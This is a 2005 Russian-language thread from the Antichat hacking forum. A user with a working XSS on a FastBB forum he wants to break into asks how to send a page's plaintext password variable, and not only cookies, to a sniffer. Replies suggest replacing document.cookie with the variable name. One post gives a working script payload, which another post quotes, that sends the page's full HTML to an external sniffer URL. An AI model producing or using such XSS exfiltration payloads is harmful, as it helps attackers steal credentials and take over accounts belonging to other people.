Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Что можно передать кроме кук на сниффер? |

09.11.2005, 14:45
|
|
Постоянный
Регистрация: 14.08.2005
Сообщений: 378
Провел на форуме: 670862
Репутация:
54
|
|
Что можно передать кроме кук на сниффер?
Есть рабочая xss. Такой вопрос: можно ли передать на сниффер фрагмент самой страницы, её html-кода?
|
|
|

09.11.2005, 15:23
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме: 5355463
Репутация:
2258
|
|
или я тебя не понял или ты сам не знаешь чего написал=))))
передаются Referer, Query [куки], Agent и все..
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|

09.11.2005, 16:05
|
|
Постоянный
Регистрация: 14.08.2005
Сообщений: 378
Провел на форуме: 670862
Репутация:
54
|
|
Лан, я просто плохо объяснил....извините...короч проблема вот в чём...
нужно взломать fastbb, позарез. Такая параша, но очень необходимо.
Короче куки на сниффер приходят, но они ужасной кодировки...не подставляются, то ли привязка там к чему-то стоит. Не знаю, если не получится то что я придумал, тогда буду пробовать дальше. А придумал я то что там пароль на странице хранится в открытом виде(в html виде => var pass). И я подумал нельзя ли пересылать его снифферу? Вот решил спросить у вас...
|
|
|

09.11.2005, 16:14
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
передаются Referer, Query [куки], Agent и все..
А ты уверен??
Просто сниффер не логирует\показывает.
Например порт браузера,порт сервера ну и кучу другой не нужной информации,хотя кому-то может и нужной...
|
|
|

09.11.2005, 16:17
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме: 1535446
Репутация:
182
|
|
И я подумал нельзя ли пересылать его снифферу?
Я в ждавескрипте ничерта не смыслю 
Вместо document.cookie поставь название переменной...
зы не забываем про репутацию
|
|
|

09.11.2005, 16:30
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме: 5355463
Репутация:
2258
|
|
qBiN, в данный момент речь идет об ачатовском снифферее,а соответственно он показывает только то что я перечислил... да и не будет же он показывать ХТМЛ код, это же глупо не так ли??
BaH, это уже другой разговор...помоему надо пхп скрипт подделать который будет принимать значения формы var_pass а в пхп я 0 =)
Чесно говоря уже задолбали Повышайте мне репутацию! после этой новой системы...
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
Последний раз редактировалось m0nzt3r; 11.11.2005 в 00:59..
|
|
|

10.11.2005, 20:36
|
|
Постоянный
Регистрация: 14.08.2005
Сообщений: 378
Провел на форуме: 670862
Репутация:
54
|
|
Всё разрешилось, темку можно закрывать.
|
|
|

11.11.2005, 00:50
|
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме: 2050916
Репутация:
0
|
|
Сообщение от m0nzt3r
qBiN, в данный момент речь идет об ачатовском снифферее,а соответственно он показывает только то что я перечислил... да и не будет же он показывать ХТМЛ код, это же глупо не так ли??
BaH, это уже другой разговор...помоему надо пхп скрипт подделать который будет принимать значения формы var_pass а в пхп я 0 =)
Сниффер может показывать все что угодно. Вернее все что вы на него передадите.
Например вот так можно переслать на сниффер всю HTML страницу:
<script>i=new Image(); i.src="http://antichat.ru/cgi-bin/s.jpg?"+document.documentElement.innerHTML;</script>
|
|
|

11.11.2005, 15:25
|
|
Banned
Регистрация: 21.04.2005
Сообщений: 328
Провел на форуме: 632524
Репутация:
9
|
|
Сообщение от m0nzt3r
или я тебя не понял или ты сам не знаешь чего написал=))))
передаются Referer, Query [куки], Agent и все..
Мне кажется это ты не хнаешь что написал!!! )
Почему ты написал Query [куки]?!!!
|
|
|

19.11.2005, 15:49
|
|
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме: 4520553
Репутация:
1316
|
|
<script>i=new Image(); i.src="http://antichat.ru/cgi-bin/s.jpg?"+document.documentElement.innerHTML;</script>
это я не понял, если кто-то прикольнеться так и напишет, то всю страницу лога сниффера, будет занимать чьята долбанная html страница? =))))
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|